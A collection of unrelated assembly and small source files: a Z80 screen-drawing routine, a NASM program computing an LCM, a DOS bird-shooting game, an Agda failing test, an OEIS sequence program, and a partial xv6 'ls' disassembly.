ld (basescradr + #0fd4), a
ld (basescradr + #1032), a
ld (basescradr + #1113), a
ld a, 1
ld hl, basescradr + #084c
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0cce), a
ld (basescradr + #0dce), a
ld (basescradr + #102f), a
ld (basescradr + #170f), a
ld a, 248
ld (basescradr + #0996), a
ld (basescradr + #0a96), a
ld (basescradr + #0b52), a
ld (basescradr + #0b76), a
ld (basescradr + #0c76), a
ld (basescradr + #0d53), a
ld (basescradr + #0f54), a
ld (basescradr + #0fb5), a
ld (basescradr + #1232), a
ld (basescradr + #1313), a
ld a, 127
ld hl, basescradr + #0d4d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #09ef), a
ld (basescradr + #0aef), a
ld (basescradr + #0f8e), a
ld (basescradr + #1430), a
ld (basescradr + #1530), a
inc a
ld (basescradr + #09b6), a
ld (basescradr + #0ab6), a
ld (basescradr + #0cd5), a
ld (basescradr + #0dd5), a
ld (basescradr + #0e54), a
ld (basescradr + #0ff4), a
ld (basescradr + #1532), a
ld (basescradr + #1713), a
ld a, 63
ld hl, basescradr + #0bef
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #086d), a
ld (basescradr + #096d), a
ld (basescradr + #09ae), a
ld (basescradr + #0aae), a
ld (basescradr + #1050), a
ld (basescradr + #1630), a
ld (basescradr + #1730), a
ld a, 31
ld (basescradr + #0a6d), a
ld (basescradr + #0b6d), a
ld (basescradr + #0bae), a
ld (basescradr + #0cae), a
ld (basescradr + #0eef), a
ld (basescradr + #0fef), a
ld (basescradr + #1150), a
ld a, 224
ld (basescradr + #0a76), a
ld (basescradr + #0ad5), a
ld (basescradr + #0e96), a
ld (basescradr + #0f96), a
ld (basescradr + #1432), a
ld (basescradr + #1513), a
ret
|
ASS1/lcm (q7).asm | rahulkumawat1/NASM | 0 | 92919 | section .data
zero: db '0'
l1: equ $-zero
newline: db '',10
l2: equ $-newline
msg3: db 'lcm of given numbers is: '
l3: equ $-msg3
section .bss
just_read: resd 1
just_print: resd 1
temp: resd 1
counter: resd 1
a: resd 1
b: resd 1
max: resd 1
section .text
global _start:
_start:
call read_num
mov eax,dword[just_read]
mov dword[a],eax
call read_num
mov eax,dword[just_read]
mov dword[b],eax
cmp dword[a],eax
ja label1
mov dword[max],eax
while:
mov eax,dword[max]
mov ebx,dword[a]
mov edx,0
div ebx
cmp edx,0
je check
inc dword[max]
jmp while
check:
mov eax,dword[max]
mov ebx,dword[b]
mov edx,0
div ebx
cmp edx,0
je print_lcm
inc dword[max]
jmp while
print_lcm:
mov eax,4
mov ebx,1
mov ecx,msg3
mov edx,l3
int 80h
mov eax,dword[max]
mov dword[just_print],eax
call print_num
mov eax,4
mov ebx,1
mov ecx,newline
mov edx,l2
int 80h
jmp end
label1:
mov eax,dword[a]
mov dword[max],eax
jmp while
end:
mov eax,1
mov ebx,0
int 80h
read_num:
pusha
mov dword[just_read],0
reading:
mov eax,3
mov ebx,0
mov ecx,temp
mov edx,1
int 80h
cmp dword[temp],10
je end_read
sub dword[temp],30h
mov eax,dword[just_read]
mov edx,0
mov ebx,10
mul ebx
add eax,dword[temp]
mov dword[just_read],eax
jmp reading
end_read:
popa
ret
print_num:
pusha
mov dword[counter],0
cmp dword[just_print],0
jne extracting
mov eax,4
mov ebx,1
mov ecx,zero
mov edx,l1
int 80h
jmp end_print
extracting:
cmp dword[just_print],0
je printing
mov eax,dword[just_print]
mov edx,0
mov ebx,10
div ebx
push edx
mov dword[just_print],eax
inc dword[counter]
jmp extracting
printing:
cmp dword[counter],0
je end_print
pop edx
mov dword[temp],edx
add dword[temp],30h
mov eax,4
mov ebx,1
mov ecx,temp
mov edx,1
int 80h
dec dword[counter]
jmp printing
end_print:
popa
ret
|
Ball shooting/ball.asm | Ahmed-ata112/processor_simulation_game | 1 | 101592 | <reponame>Ahmed-ata112/processor_simulation_game
drawPixelWithOffset macro column, row, color, X_origin, Y_origin ;x, y, color...the last two parameters are the offset position of the pixel
xor ch,ch
xor dh,dh
mov dl, row
mov cl, column
mov al, color
;Dynamics:
add dx, Y_origin
add cx, X_origin
int 10h
endm drawPixelWithOffset
Draw_IMG macro p_x, p_y,imga, imgasize
local KeepDrawing
mov ah, 0ch
mov bx, offset imga
KeepDrawing:
drawPixelWithOffset [bx], [bx+1], [bx+2], p_x, p_y
add bx, 3
cmp bx, offset imgasize
JNE KeepDrawing
ENDm Draw_IMG
Draw_IMG_with_color macro p_x, p_y,imga,color ,imgasize
local KeepDrawing
mov ah, 0ch
mov bx, offset imga
KeepDrawing:
drawPixelWithOffset [bx], [bx+1], color, p_x, p_y
add bx, 3
cmp bx, offset imgasize
JNE KeepDrawing
ENDm Draw_IMG
clearScreen macro
; set video mode
mov ah,0
mov al,13h
int 10h
endm clearScreen
moveBird macro limit,start,x_velocity,x_coordinate
local finish
mov ax,x_velocity
add x_coordinate,ax
cmp x_coordinate,limit
jb finish
mov x_coordinate,start
finish:
endm moveBird
moveFireBall macro velocity,yCoordinate,ifPressed
local finish
mov ax,velocity
sub yCoordinate,ax
cmp yCoordinate,15
ja finish
mov ifPressed,0
finish:
endm moveFireBall
checkTime macro
local check_time
check_time:
mov ah,2ch ;get the system time
int 21h ;ch=hour cl=minute dh=seconds dl=1/100seconds
cmp dl,time_aux ;is the current time equal to the prev one?
je check_time ;if it's the same, check again
;if different --> draw, move...
mov time_aux,dl ;update time
endm checkTime
movePaddle macro paddle_x,paddle_velocity_x,paddle_y,paddle_velocity_y,upControl,downControl,rightControl,leftControl,rightlimit,leftlimit
local exitMacro,checkLeft,checkUp,checkDown
;check if any key is being pressed (if not, exit this macro) [int ah 01/16]
;zf =0 -> a key is pressed
mov ah,1
int 16h
jz exitMacro ;exists the macro since no key is pressed
;checks right control
cmp ah,rightControl ;77 -> scan code of right arrow
jne checkLeft ;checks if it's the left arrow
mov ah,0
int 16h
; ah -> scan code al -> ascii
mov ax,paddle_velocity_x
mov bx,paddle_x
add bx,ax
cmp bx,rightlimit
ja exitmacro
add paddle_x,ax ;increases the paddle x-coordinate with the corresponding velocity --> moves it to the right
jmp exitMacro
checkLeft:
cmp ah,leftControl ;75 -> scan code of left arrow
jne checkUp ;if
mov ah,0
int 16h
; ah -> scan code al -> ascii
mov ax,paddle_velocity_x
mov bx,paddle_x
sub bx,ax
cmp bx,leftlimit
jle exitMacro
sub paddle_x,ax ;decreases the paddle x-coordinate with the corresponding velocity --> moves it to the left
jmp exitMacro
checkUp:
cmp ah,upControl ;72 -> scan code of up arrow
jne checkDown ;if
mov ah,0
int 16h
; ah -> scan code al -> ascii
mov ax,paddle_velocity_y
mov bx,paddle_y
sub bx,ax
cmp bx,20
jle exitMacro
sub paddle_y,ax ;decreases the paddle y-coordinate with the corresponding velocity --> moves it to the left
jmp exitMacro
checkDown:
cmp ah,downControl ;80 -> scan code of down arrow
jne exitMacro
mov ah,0
int 16h
; ah -> scan code al -> ascii
mov ax,paddle_velocity_y
mov bx,paddle_y
add bx,ax
cmp bx,188
jae exitMacro
add paddle_y,ax ;decreases the paddle x-coordinate with the corresponding velocity --> moves it to the left
exitMacro:
endm movePaddle
checkForFire macro fireScanCode,paddle_x,paddle_width,Ballsize,fireBall_x,fireBall_y,ifFireIsPressed,paddle_y
local exitMacro,ro7Henak,rightPaddleFire
;check if any key is being pressed (if not, exit this macro) [int ah 01/16]
mov ah,1
int 16h
jz exitMacro
cmp ah,fireScanCode ;80 -> scan code of down arrow
jne exitMacro
;if a key is being pressed -> check which one it is
mov ah,0
int 16h
; ah -> scan code al -> ascii
;we reached here, meaning the key pressed is down arrow
;we need to get the center x coordinate of the paddle, make the ball fire starting from that point
;using the y coordinte of the paddle (192) to avoid the ball touching the paddle
mov ax,paddle_x
mov bx,paddle_width
shr bx,1
add ax,bx
mov bx,Ballsize
shr bx,2
sub ax,bx
mov fireBall_x,ax
mov ax,paddle_y
mov fireBall_y,ax
mov ifFireIsPressed,1
exitMacro:
endm checkForFire
compareBirdWithBall macro ball_x,fireBall_x,fireBall_y,BALL_SIZE,startOfBird,birdStatus,playerPoints,birdPoints
local notInTheRangeOfTheBird
cmp fireBall_y,20
ja notInTheRangeOfTheBird
;still haven't reached top of the screen
mov ax,ball_x
sub ax,8
cmp ax,fireBall_x
ja notInTheRangeOfTheBird
;not in the same row --> behind it
add ax,BALL_SIZE
add ax,8
cmp ax,fireBall_x
;checks if the fire ball is in the same row as the flying ball, with some error -> ball size
jb notInTheRangeOfTheBird
mov ah,birdPoints
add playerPoints,ah
mov ball_x,startOfBird
mov birdStatus,0
notInTheRangeOfTheBird:
endm compareBirdWithBall
randomBirdColor macro birdStatus,birdColor,colorIndex
local exitMacro
cmp birdStatus,0
jne exitMacro
;dx has the seconds and 1/100 seconds from the previous "check time" macro
mov ax, dx
xor dx, dx
mov cx, 5
div cx ; here dx contains the remainder of the division - from 0 to 4
mov di,dx
mov colorIndex,dl
mov ah,colors[di]
mov birdcolor,ah
mov birdStatus,1
exitMacro:
endm randomBirdColor
setBirdPointsWithTheCorrespondingColor macro colorIndex,birdPoints,pointsOfColorsArray
;moving colorIndex to bx first to avoid size mismatch
; bl-> color index [0..4], bh-> 0
mov bl,colorIndex
mov bh,0
mov di,bx
mov al,pointsOfColorsArray[di]
mov birdPoints,al
endm setBirdPointsWithTheCorrespondingColor
checkTimeInterval macro gameStatus,prevTime,timeInterval
local exit
mov ah,2ch ;get the system time
int 21h ;ch=hour cl=minute dh=seconds dl=1/100seconds
mov al,dh
mov ah,0
mov bx,0
mov bl,timeInterval
div bl
cmp ah,0 ; --> checks if the current time is divisible by 10
jne exit ; --> if not, does nothing
cmp dh,prevTime ; --> if it is, then checks if it's the same second as before
; the proccessor is fast and it checks the same second many times and causes undesirable toggling
je exit
mov prevTime,dh ; reaching here meaning it's not the same previous second, so we TOGGLE the state of the game
mov ax,birdX
mov bx,right_birdX
xchg ax,bx
mov birdX,ax
mov right_birdX,bx
cmp gameStatus,1
jne changeToOne ;--> if the game status isn't 1 (is 0), change it to one
mov gameStatus,0
jmp exit
changeToOne:
mov gameStatus,1
exit:
endm checkTimeInterval
;;fire ball status
;;xor -> colors
.286
.model small
.stack 64
.data
time_aux db 0
BirdImg db 1,0,73,2,0,73,10,0,73,11,0,73,2,1,73,10,1,73,1,2,73,2,2,73,3,2,73,4,2,73,8,2,73,9,2,73,10,2,73,11,2,73,1,3,73,2,3,73,3,3,73,4,3,73,5,3,73,7,3,73,8,3,73,9,3,73,10,3,73,11,3,73,0,4,73,1,4,73,2,4,73,3,4,73,5,4,73,6,4,73
db 7,4,73,9,4,73,10,4,73,11,4,73,12,4,73,0,5,73,2,5,73,3,5,73,4,5,73,5,5,73,6,5,73,7,5,73,8,5,73,9,5,73,10,5,73,12,5,73,0,6,73,3,6,73,4,6,73,5,6,73,6,6,73,7,6,73,8,6,73,9,6,73,12,6,73,4,7,73,8,7,73,3,8,73,4,8,73,8,8,73
db 9,8,73,3,9,73,9,9,73
BirdSize dw 10
birdX dw 0
birdY dw 0Ah
BirdWidth dw 13
birdVelocity dw 4
right_BirdImg db 1,0,73,2,0,73,10,0,73,11,0,73,2,1,73,10,1,73,1,2,73,2,2,73,3,2,73,4,2,73,8,2,73,9,2,73,10,2,73,11,2,73,1,3,73,2,3,73,3,3,73,4,3,73,5,3,73,7,3,73,8,3,73,9,3,73,10,3,73,11,3,73,0,4,73,1,4,73,2,4,73,3,4,73,5,4,73,6,4,73
db 7,4,73,9,4,73,10,4,73,11,4,73,12,4,73,0,5,73,2,5,73,3,5,73,4,5,73,5,5,73,6,5,73,7,5,73,8,5,73,9,5,73,10,5,73,12,5,73,0,6,73,3,6,73,4,6,73,5,6,73,6,6,73,7,6,73,8,6,73,9,6,73,12,6,73,4,7,73,8,7,73,3,8,73,4,8,73,8,8,73
db 9,8,73,3,9,73,9,9,73
right_BirdSize dw 10
right_birdX dw 147
right_birdY dw 0Ah
right_BirdWidth dw 13
right_birdVelocity dw 4
paddleImg db 6,0,73,7,0,73,12,0,73,13,0,73,6,1,73,7,1,73,12,1,73,13,1,73,6,2,73,7,2,73,12,2,73,13,2,73,6,3,73,7,3,73,12,3,73,13,3,73,6,4,73,7,4,73,12,4,73,13,4,73,6,5,73,7,5,73,12,5,73,13,5,73,0,6,73,1,6,73,2,6,73,3,6,73,4,6,73,5,6,73
db 6,6,73,7,6,73,8,6,73,9,6,73,10,6,73,11,6,73,12,6,73,13,6,73,14,6,73,15,6,73,16,6,73,17,6,73,18,6,73,19,6,73,0,7,73,1,7,73,2,7,73,3,7,73,4,7,73,5,7,73,6,7,73,7,7,73,8,7,73,9,7,73,10,7,73,11,7,73,12,7,73,13,7,73,14,7,73,15,7,73
db 16,7,73,17,7,73,18,7,73,19,7,73,0,8,73,1,8,73,18,8,73,19,8,73,0,9,73,1,9,73,18,9,73,19,9,73,0,10,73,1,10,73,2,10,73,3,10,73,4,10,73,5,10,73,6,10,73,7,10,73,8,10,73,9,10,73,10,10,73,11,10,73,12,10,73,13,10,73,14,10,73,15,10,73
db 16,10,73,17,10,73,18,10,73,19,10,73,0,11,73,1,11,73,2,11,73,3,11,73,4,11,73,5,11,73,6,11,73,7,11,73,8,11,73,9,11,73,10,11,73,11,11,73,12,11,73,13,11,73,14,11,73,15,11,73,16,11,73,17,11,73,18,11,73,19,11,73
paddleSize dw 12 ;;That is the height
paddle_Width dw 20
paddle_x dw 5
paddle_y dw 185 ;at the bottom of the 320*200 pixels screen
paddle_velocity_x dw 10
paddle_velocity_y dw 5
paddleColor db 1
paddleUp db 72 ; scan code of up arrow
paddleDown db 80 ; scan code of down arrow
paddleRight db 77 ; scan code of right arrow
paddleLeft db 75 ; scan code of left arrow
right_paddleImg db 6,0,73,7,0,73,12,0,73,13,0,73,6,1,73,7,1,73,12,1,73,13,1,73,6,2,73,7,2,73,12,2,73,13,2,73,6,3,73,7,3,73,12,3,73,13,3,73,6,4,73,7,4,73,12,4,73,13,4,73,6,5,73,7,5,73,12,5,73,13,5,73,0,6,73,1,6,73,2,6,73,3,6,73,4,6,73,5,6,73
db 6,6,73,7,6,73,8,6,73,9,6,73,10,6,73,11,6,73,12,6,73,13,6,73,14,6,73,15,6,73,16,6,73,17,6,73,18,6,73,19,6,73,0,7,73,1,7,73,2,7,73,3,7,73,4,7,73,5,7,73,6,7,73,7,7,73,8,7,73,9,7,73,10,7,73,11,7,73,12,7,73,13,7,73,14,7,73,15,7,73
db 16,7,73,17,7,73,18,7,73,19,7,73,0,8,73,1,8,73,18,8,73,19,8,73,0,9,73,1,9,73,18,9,73,19,9,73,0,10,73,1,10,73,2,10,73,3,10,73,4,10,73,5,10,73,6,10,73,7,10,73,8,10,73,9,10,73,10,10,73,11,10,73,12,10,73,13,10,73,14,10,73,15,10,73,16,10,73,17,10,73
db 18,10,73,19,10,73,0,11,73,1,11,73,2,11,73,3,11,73,4,11,73,5,11,73,6,11,73,7,11,73,8,11,73,9,11,73,10,11,73,11,11,73,12,11,73,13,11,73,14,11,73,15,11,73,16,11,73,17,11,73,18,11,73,19,11,73
right_paddleSize dw 12 ;;That is the height
right_paddle_Width dw 20
right_paddle_x dw 160
right_paddle_y dw 185 ;at the bottom of the 320*200 pixels screen
right_paddle_velocity_x dw 10
right_paddle_velocity_y dw 5
right_paddleColor db 0Eh
right_paddleUp db 71 ; scan code of 7 when num lock is turned off
right_paddleDown db 73 ; scan code of 9 when num lock is turned off
right_paddleRight db 81 ; scan code of 1 when num lock is turned off
right_paddleLeft db 79 ; scan code of 3 when num lock is turned off
BallImg db 3,0,73,4,0,73,5,0,73,1,1,73,2,1,73,6,1,73,7,1,73,1,2,73,2,2,73,6,2,73,7,2,73,0,3,73,3,3,73,5,3,73,8,3,73,0,4,73,4,4,73,8,4,73,0,5,73,3,5,73,5,5,73,8,5,73,1,6,73,2,6,73,6,6,73,7,6,73,1,7,73,2,7,73,6,7,73,7,7,73
db 3,8,73,4,8,73,5,8,73
BallSize dw 9
ballWidth dw 9
fireballColor db 1100b
;left fireball
fireBall_x dw ?
fireBall_y dw 190
fireBall_velocity_y dw 20
ifFireIsPressed db 0
fireScanCode db 53
;right fireball
right_fireBall_x dw ?
right_fireBall_y dw 190
right_fireBall_velocity_y dw 20
right_ifFireIsPressed db 0
right_fireScanCode db 04eh
;green, light magenta, red, blue, yellow
colors db 02h, 0dh, 04h, 01h, 0Eh
;green, light magenta, red, blue, yellow
pointsOfColors db 1, 2, 3, 4, 5
colorIndex db 0
birdColor db 2
birdStatus db 1
birdPoints db 1
right_colorIndex db 0
right_birdColor db 2
right_birdStatus db 1
right_birdPoints db 1
playerPoints db 0
right_playerPoints db 0
gameStatus db 1
prevTime db 0 ;variable used when checking if the time has changed
timeInterval db 5 ;the shooting game apears/disappears every time interval
.code
main proc far
mov ax,@data
mov ds,ax
clearScreen
draw:
checkTimeInterval gamestatus, prevTime, timeInterval
Draw_IMG_with_color paddle_x,paddle_y,paddleImg,paddleColor,paddleSize
Draw_IMG_with_color right_paddle_x,right_paddle_y,right_paddleImg,right_paddleColor,right_paddleSize
movePaddle paddle_x,paddle_velocity_x,paddle_y,paddle_velocity_y,paddleUp,paddleDown,paddleRight,paddleLeft,135,0
movePaddle right_paddle_x,right_paddle_velocity_x,right_paddle_y,right_paddle_velocity_y,right_paddleUp,right_paddleDown,right_paddleRight,right_paddleLeft,295,150
checkTime
randomBirdColor birdStatus,birdColor,colorIndex
setBirdPointsWithTheCorrespondingColor colorIndex,birdPoints,pointsOfColors
randomBirdColor right_birdStatus,right_birdColor,right_colorIndex
setBirdPointsWithTheCorrespondingColor right_colorIndex,right_birdPoints,pointsOfColors
clearScreen
cmp gamestatus,0
je skipDrawingBirds
;left bird
Draw_IMG_with_color birdX,birdY,BirdImg,birdcolor,BirdSize
moveBird 148,0,birdVelocity,birdX
;right bird
Draw_IMG_with_color right_birdX,right_birdY,right_BirdImg,right_birdcolor,right_BirdSize
moveBird 304,160,right_birdVelocity,right_birdX
skipDrawingBirds:
checkForFire fireScanCode,paddle_x,paddle_width,BallSize,fireBall_x,fireBall_y,ifFireIsPressed,paddle_y
cmp ifFireIsPressed,0
je checkRight
moveFireBall fireBall_velocity_y,fireBall_y,ifFireIsPressed
Draw_IMG_with_color fireBall_x,fireBall_y,BallImg,fireballColor,BallSize
compareBirdWithBall birdX,fireBall_x,fireBall_y,BirdSize,0,birdStatus,playerPoints,birdPoints
checkRight:
checkForFire right_fireScancode,right_paddle_x,right_paddle_width,BallSize,right_fireBall_x,right_fireBall_y,right_ifFireIsPressed,right_paddle_y
cmp right_ifFireIsPressed,0
je midDraw
moveFireBall right_fireBall_velocity_y,right_fireBall_y,right_ifFireIsPressed
Draw_IMG_with_color right_fireBall_x,right_fireBall_y,BallImg,fireballColor,BallSize
compareBirdWithBall right_birdX,right_fireBall_x,right_fireBall_y,right_BirdSize,160,right_birdStatus,playerPoints,birdPoints
midDraw: ;for jumping out of boundaries error
jmp draw
finish:
clearScreen
hlt
endp
end main |
test/fail/CoinductiveConstructorsAndLet.agda | larrytheliquid/agda | 1 | 14593 | <filename>test/fail/CoinductiveConstructorsAndLet.agda
module CoinductiveConstructorsAndLet where
open import Common.Coinduction
data D : Set where
foo : D → ∞ D
foo x = let y = x in ♯ y
-- CoinductiveConstructorsAndLet.agda:9,24-25
-- Panic: thing out of context ([CtxId 1] is not a sub context of
-- [CtxId 3])
-- when checking that the expression y has type D
|
oeis/317/A317279.asm | neoneye/loda-programs | 11 | 96032 | ; A317279: a(n) = Sum_{k=0..n} (-1)^(n-k)*binomial(n-1,k-1)*n^k*n!/k!.
; Submitted by <NAME>
; 1,1,0,-9,-32,225,3456,2695,-433152,-4495743,47872000,1768142871,6703534080,-597265448351,-11959736205312,126058380654375,9454322092343296,84694164336894465,-5776865438988238848,-192541299662555831753,1511905067561779200000,243338391925401706938081,3972949090873574466519040,-220979757779229639507505209,-11449403073655302780157427712,35490642292910482094062890625,20436636849138517847302131941376,533826981422365396876883305701975,-24231368392411415243926283812339712
mov $2,$0
mov $3,2
lpb $0
sub $0,1
add $3,$4
mul $3,$2
mul $4,$0
sub $4,$3
lpe
mov $0,$3
div $0,2
|
ls.asm | Alpr1010/cpsc405 | 0 | 6638 |
_ls: file format elf32-i386
Disassembly of section .text:
00001000 <main>:
close(fd);
}
int
main(int argc, char *argv[])
{
1000: 8d 4c 24 04 lea 0x4(%esp),%ecx
1004: 83 e4 f0 and $0xfffffff0,%esp
1007: ff 71 fc pushl -0x4(%ecx)
100a: 55 push %ebp
100b: 89 e5 mov %esp,%ebp
100d: 57 push %edi
100e: 56 push %esi
100f: 53 push %ebx
1010: 51 push %ecx
1011: bb 01 00 00 00 mov $0x1,%ebx
1016: 83 ec 08 sub $0x8,%esp
1019: 8b 31 mov (%ecx),%esi
101b: 8b 79 04 mov 0x4(%ecx),%edi
int i;
if(argc < 2){
101e: 83 fe 01 cmp $0x1,%esi
1021: 7e 1f jle 1042 <main+0x42>
1023: 90 nop
1024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ls(".");
exit();
}
for(i=1; i<argc; i++)
ls(argv[i]);
1028: 83 ec 0c sub $0xc,%esp
102b: ff 34 9f pushl (%edi,%ebx,4)
if(argc < 2){
ls(".");
exit();
}
for(i=1; i<argc; i++)
102e: 83 c3 01 add $0x1,%ebx
ls(argv[i]);
1031: e8 ca 00 00 00 call 1100 <ls>
if(argc < 2){
ls(".");
exit();
}
for(i=1; i<argc; i++)
1036: 83 c4 10 add $0x10,%esp
1039: 39 de cmp %ebx,%esi
103b: 75 eb jne 1028 <main+0x28>
ls(argv[i]);
exit();
103d: e8 40 05 00 00 call 1582 <exit>
main(int argc, char *argv[])
{
int i;
if(argc < 2){
ls(".");
1042: 83 ec 0c sub $0xc,%esp
1045: 68 48 1a 00 00 push $0x1a48
104a: e8 b1 00 00 00 call 1100 <ls>
exit();
104f: e8 2e 05 00 00 call 1582 <exit>
1054: 66 90 xchg %ax,%ax
1056: 66 90 xchg %ax,%ax
1058: 66 90 xchg %ax,%ax
105a: 66 90 xchg %ax,%ax
105c: 66 90 xchg %ax,%ax
105e: 66 90 xchg %ax,%ax
00001060 <fmtname>:
#include "user.h"
#include "fs.h"
char*
fmtname(char *path)
{
1060: 55 push %ebp
1061: 89 e5 mov %esp,%ebp
1063: 56 push %esi
1064: 53 push %ebx
1065: 8b 5d 08 mov 0x8(%ebp),%ebx
static char buf[DIRSIZ+1];
char *p;
// Find first character after last slash.
for(p=path+strlen(path); p >= path && *p != '/'; p--)
1068: 83 ec 0c sub $0xc,%esp
106b: 53 push %ebx
106c: e8 4f 03 00 00 call 13c0 <strlen>
1071: 83 c4 10 add $0x10,%esp
1074: 01 d8 add %ebx,%eax
1076: 73 0f jae 1087 <fmtname+0x27>
1078: eb 12 jmp 108c <fmtname+0x2c>
107a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1080: 83 e8 01 sub $0x1,%eax
1083: 39 c3 cmp %eax,%ebx
1085: 77 05 ja 108c <fmtname+0x2c>
1087: 80 38 2f cmpb $0x2f,(%eax)
108a: 75 f4 jne 1080 <fmtname+0x20>
;
p++;
108c: 8d 58 01 lea 0x1(%eax),%ebx
// Return blank-padded name.
if(strlen(p) >= DIRSIZ)
108f: 83 ec 0c sub $0xc,%esp
1092: 53 push %ebx
1093: e8 28 03 00 00 call 13c0 <strlen>
1098: 83 c4 10 add $0x10,%esp
109b: 83 f8 0d cmp $0xd,%eax
109e: 77 4a ja 10ea <fmtname+0x8a>
return p;
memmove(buf, p, strlen(p));
10a0: 83 ec 0c sub $0xc,%esp
10a3: 53 push %ebx
10a4: e8 17 03 00 00 call 13c0 <strlen>
10a9: 83 c4 0c add $0xc,%esp
10ac: 50 push %eax
10ad: 53 push %ebx
10ae: 68 60 1d 00 00 push $0x1d60
10b3: e8 98 04 00 00 call 1550 <memmove>
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
10b8: 89 1c 24 mov %ebx,(%esp)
10bb: e8 00 03 00 00 call 13c0 <strlen>
10c0: 89 1c 24 mov %ebx,(%esp)
10c3: 89 c6 mov %eax,%esi
return buf;
10c5: bb 60 1d 00 00 mov $0x1d60,%ebx
// Return blank-padded name.
if(strlen(p) >= DIRSIZ)
return p;
memmove(buf, p, strlen(p));
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
10ca: e8 f1 02 00 00 call 13c0 <strlen>
10cf: ba 0e 00 00 00 mov $0xe,%edx
10d4: 83 c4 0c add $0xc,%esp
10d7: 05 60 1d 00 00 add $0x1d60,%eax
10dc: 29 f2 sub %esi,%edx
10de: 52 push %edx
10df: 6a 20 push $0x20
10e1: 50 push %eax
10e2: e8 09 03 00 00 call 13f0 <memset>
return buf;
10e7: 83 c4 10 add $0x10,%esp
}
10ea: 8d 65 f8 lea -0x8(%ebp),%esp
10ed: 89 d8 mov %ebx,%eax
10ef: 5b pop %ebx
10f0: 5e pop %esi
10f1: 5d pop %ebp
10f2: c3 ret
10f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
10f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001100 <ls>:
void
ls(char *path)
{
1100: 55 push %ebp
1101: 89 e5 mov %esp,%ebp
1103: 57 push %edi
1104: 56 push %esi
1105: 53 push %ebx
1106: 81 ec 64 02 00 00 sub $0x264,%esp
110c: 8b 7d 08 mov 0x8(%ebp),%edi
char buf[512], *p;
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
110f: 6a 00 push $0x0
1111: 57 push %edi
1112: e8 ab 04 00 00 call 15c2 <open>
1117: 83 c4 10 add $0x10,%esp
111a: 85 c0 test %eax,%eax
111c: 0f 88 9e 01 00 00 js 12c0 <ls+0x1c0>
printf(2, "ls: cannot open %s\n", path);
return;
}
if(fstat(fd, &st) < 0){
1122: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi
1128: 83 ec 08 sub $0x8,%esp
112b: 89 c3 mov %eax,%ebx
112d: 56 push %esi
112e: 50 push %eax
112f: e8 a6 04 00 00 call 15da <fstat>
1134: 83 c4 10 add $0x10,%esp
1137: 85 c0 test %eax,%eax
1139: 0f 88 c1 01 00 00 js 1300 <ls+0x200>
printf(2, "ls: cannot stat %s\n", path);
close(fd);
return;
}
switch(st.type){
113f: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax
1146: 66 83 f8 01 cmp $0x1,%ax
114a: 74 54 je 11a0 <ls+0xa0>
114c: 66 83 f8 02 cmp $0x2,%ax
1150: 75 37 jne 1189 <ls+0x89>
case T_FILE:
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
1152: 83 ec 0c sub $0xc,%esp
1155: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx
115b: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi
1161: 57 push %edi
1162: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp)
1168: e8 f3 fe ff ff call 1060 <fmtname>
116d: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx
1173: 59 pop %ecx
1174: 5f pop %edi
1175: 52 push %edx
1176: 56 push %esi
1177: 6a 02 push $0x2
1179: 50 push %eax
117a: 68 28 1a 00 00 push $0x1a28
117f: 6a 01 push $0x1
1181: e8 5a 05 00 00 call 16e0 <printf>
break;
1186: 83 c4 20 add $0x20,%esp
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
}
break;
}
close(fd);
1189: 83 ec 0c sub $0xc,%esp
118c: 53 push %ebx
118d: e8 18 04 00 00 call 15aa <close>
1192: 83 c4 10 add $0x10,%esp
}
1195: 8d 65 f4 lea -0xc(%ebp),%esp
1198: 5b pop %ebx
1199: 5e pop %esi
119a: 5f pop %edi
119b: 5d pop %ebp
119c: c3 ret
119d: 8d 76 00 lea 0x0(%esi),%esi
case T_FILE:
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
break;
case T_DIR:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
11a0: 83 ec 0c sub $0xc,%esp
11a3: 57 push %edi
11a4: e8 17 02 00 00 call 13c0 <strlen>
11a9: 83 c0 10 add $0x10,%eax
11ac: 83 c4 10 add $0x10,%esp
11af: 3d 00 02 00 00 cmp $0x200,%eax
11b4: 0f 87 26 01 00 00 ja 12e0 <ls+0x1e0>
printf(1, "ls: path too long\n");
break;
}
strcpy(buf, path);
11ba: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
11c0: 83 ec 08 sub $0x8,%esp
11c3: 57 push %edi
11c4: 8d bd c4 fd ff ff lea -0x23c(%ebp),%edi
11ca: 50 push %eax
11cb: e8 70 01 00 00 call 1340 <strcpy>
p = buf+strlen(buf);
11d0: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
11d6: 89 04 24 mov %eax,(%esp)
11d9: e8 e2 01 00 00 call 13c0 <strlen>
11de: 8d 95 e8 fd ff ff lea -0x218(%ebp),%edx
*p++ = '/';
while(read(fd, &de, sizeof(de)) == sizeof(de)){
11e4: 83 c4 10 add $0x10,%esp
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
printf(1, "ls: path too long\n");
break;
}
strcpy(buf, path);
p = buf+strlen(buf);
11e7: 8d 0c 02 lea (%edx,%eax,1),%ecx
*p++ = '/';
11ea: 8d 84 05 e9 fd ff ff lea -0x217(%ebp,%eax,1),%eax
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
printf(1, "ls: path too long\n");
break;
}
strcpy(buf, path);
p = buf+strlen(buf);
11f1: 89 8d a8 fd ff ff mov %ecx,-0x258(%ebp)
